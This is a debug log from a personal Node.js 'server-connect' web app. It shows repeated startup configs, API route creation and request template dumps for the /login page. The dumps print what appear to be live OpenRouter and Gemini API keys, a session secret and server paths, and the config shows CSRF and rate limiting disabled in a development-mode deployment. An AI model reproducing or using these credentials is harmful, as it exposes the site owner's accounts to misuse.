    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4093.0 Safari/537.36 Edg/83.0.470.0',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.195.23.187',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-25T14:36:14.266Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.195.23.187',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4093.0 Safari/537.36 Edg/83.0.470.0',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.195.23.187',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-24T17:18:32.542Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-24T17:18:34.815Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-24T17:18:35.679Z server-connect:setup:upload Upload middleware configured.
2026-07-24T17:18:35.679Z server-connect:secure CSRF Protection initialized
2026-07-24T17:18:35.683Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-24T17:18:35.684Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-24T17:18:35.687Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-24T17:18:35.688Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-24T17:18:35.695Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-24T17:18:35.697Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-24T17:18:35.713Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-24T17:18:35.726Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-24T17:18:35.733Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-24T17:18:35.733Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-24T17:18:35.734Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-24T17:18:35.740Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-24T17:18:35.745Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-24T17:18:35.754Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-24T17:18:35.757Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-24T17:18:35.830Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-24T17:18:35.832Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-24T17:18:35.836Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-24T17:18:35.842Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-24T17:18:35.847Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-24T17:18:35.848Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-24T17:18:35.857Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-24T17:18:35.857Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-24T17:18:35.863Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-24T17:18:35.865Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-24T17:18:35.869Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-24T17:18:35.872Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-24T17:18:35.872Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-24T17:18:35.880Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-24T17:18:35.881Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-24T17:18:35.883Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-24T17:18:35.885Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-24T17:18:35.889Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-24T17:18:35.891Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-24T17:18:35.897Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-24T17:18:35.900Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-24T17:18:35.903Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-24T17:18:35.912Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-25T06:02:56.723Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-25T06:03:01.205Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-25T06:03:02.823Z server-connect:setup:upload Upload middleware configured.
2026-07-25T06:03:02.824Z server-connect:secure CSRF Protection initialized
2026-07-25T06:03:02.835Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-25T06:03:02.844Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-25T06:03:02.848Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-25T06:03:02.853Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-25T06:03:02.864Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-25T06:03:02.872Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-25T06:03:02.897Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-25T06:03:02.925Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-25T06:03:02.940Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-25T06:03:02.944Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-25T06:03:02.949Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-25T06:03:02.956Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-25T06:03:02.963Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-25T06:03:02.981Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-25T06:03:02.989Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-25T06:03:03.075Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-25T06:03:03.078Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-25T06:03:03.087Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-25T06:03:03.094Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-25T06:03:03.102Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-25T06:03:03.108Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-25T06:03:03.126Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-25T06:03:03.130Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-25T06:03:03.138Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-25T06:03:03.141Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-25T06:03:03.147Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-25T06:03:03.154Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-25T06:03:03.158Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-25T06:03:03.170Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-25T06:03:03.185Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-25T06:03:03.191Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-25T06:03:03.194Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-25T06:03:03.205Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-25T06:03:03.222Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-25T06:03:03.291Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-25T06:03:03.340Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-25T06:03:03.343Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-25T06:03:03.355Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-26T15:00:34.396Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-26T15:00:36.668Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-26T15:00:37.532Z server-connect:setup:upload Upload middleware configured.
2026-07-26T15:00:37.533Z server-connect:secure CSRF Protection initialized
2026-07-26T15:00:37.537Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-26T15:00:37.539Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-26T15:00:37.541Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-26T15:00:37.544Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-26T15:00:37.549Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-26T15:00:37.553Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-26T15:00:37.571Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-26T15:00:37.581Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-26T15:00:37.584Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-26T15:00:37.586Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-26T15:00:37.588Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-26T15:00:37.592Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-26T15:00:37.598Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-26T15:00:37.607Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-26T15:00:37.613Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-26T15:00:37.685Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-26T15:00:37.686Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-26T15:00:37.690Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-26T15:00:37.695Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-26T15:00:37.699Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-26T15:00:37.701Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-26T15:00:37.708Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-26T15:00:37.712Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-26T15:00:37.717Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-26T15:00:37.720Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-26T15:00:37.724Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-26T15:00:37.724Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-26T15:00:37.726Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-26T15:00:37.733Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-26T15:00:37.735Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-26T15:00:37.738Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-26T15:00:37.740Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-26T15:00:37.745Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-26T15:00:37.745Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-26T15:00:37.752Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-26T15:00:37.756Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-26T15:00:37.759Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-26T15:00:37.768Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-28T13:25:09.393Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-28T13:25:11.601Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-28T13:25:12.466Z server-connect:setup:upload Upload middleware configured.
2026-07-28T13:25:12.467Z server-connect:secure CSRF Protection initialized
2026-07-28T13:25:12.470Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-28T13:25:12.473Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-28T13:25:12.473Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-28T13:25:12.475Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-28T13:25:12.482Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-28T13:25:12.486Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-28T13:25:12.501Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-28T13:25:12.515Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-28T13:25:12.516Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-28T13:25:12.518Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-28T13:25:12.522Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-28T13:25:12.524Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-28T13:25:12.530Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-28T13:25:12.540Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-28T13:25:12.545Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-28T13:25:12.616Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-28T13:25:12.619Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-28T13:25:12.622Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-28T13:25:12.628Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-28T13:25:12.632Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-28T13:25:12.634Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-28T13:25:12.644Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-28T13:25:12.646Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-28T13:25:12.652Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-28T13:25:12.652Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-28T13:25:12.657Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-28T13:25:12.659Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-28T13:25:12.661Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-28T13:25:12.667Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-28T13:25:12.669Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-28T13:25:12.671Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-28T13:25:12.673Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-28T13:25:12.677Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-28T13:25:12.680Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-28T13:25:12.686Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-28T13:25:12.689Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-28T13:25:12.692Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-28T13:25:12.700Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-28T13:25:13.190Z server-connect:router Serving templateView /
2026-07-28T13:25:13.192Z server-connect:app Executing action step identify
2026-07-28T13:25:13.193Z server-connect:app options: { provider: 'security' }
2026-07-28T13:25:13.195Z server-connect:auth No login cookie found
2026-07-28T13:25:13.195Z server-connect:output identity: false
2026-07-28T13:25:13.195Z server-connect:app Executing action step restrict
2026-07-28T13:25:13.195Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-28T13:25:13.198Z server-connect:output restrict: undefined
2026-07-28T13:25:13.329Z server-connect:router Serving templateView /login
2026-07-28T13:25:13.329Z server-connect:app Executing action step identify
2026-07-28T13:25:13.329Z server-connect:app options: { provider: 'security' }
2026-07-28T13:25:13.329Z server-connect:auth No login cookie found
2026-07-28T13:25:13.329Z server-connect:output identity: false
2026-07-28T13:25:13.329Z server-connect:router Render template layouts/authentication
2026-07-28T13:25:13.330Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.181.212.116',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-29T13:25:13.327Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.181.212.116',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.181.212.116',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-28T15:26:42.207Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-28T15:26:43.477Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-28T15:26:44.395Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-28T15:26:45.257Z server-connect:setup:upload Upload middleware configured.
2026-07-28T15:26:45.257Z server-connect:secure CSRF Protection initialized
2026-07-28T15:26:45.262Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-28T15:26:45.263Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-28T15:26:45.266Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-28T15:26:45.267Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-28T15:26:45.273Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-28T15:26:45.276Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-28T15:26:45.294Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-28T15:26:45.308Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-28T15:26:45.309Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-28T15:26:45.312Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-28T15:26:45.315Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-28T15:26:45.318Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-28T15:26:45.325Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-28T15:26:45.333Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-28T15:26:45.339Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-28T15:26:45.409Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-28T15:26:45.410Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-28T15:26:45.415Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-28T15:26:45.419Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-28T15:26:45.423Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-28T15:26:45.426Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-28T15:26:45.432Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-28T15:26:45.435Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-28T15:26:45.441Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-28T15:26:45.444Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-28T15:26:45.447Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-28T15:26:45.450Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-28T15:26:45.450Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-28T15:26:45.456Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-28T15:26:45.459Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
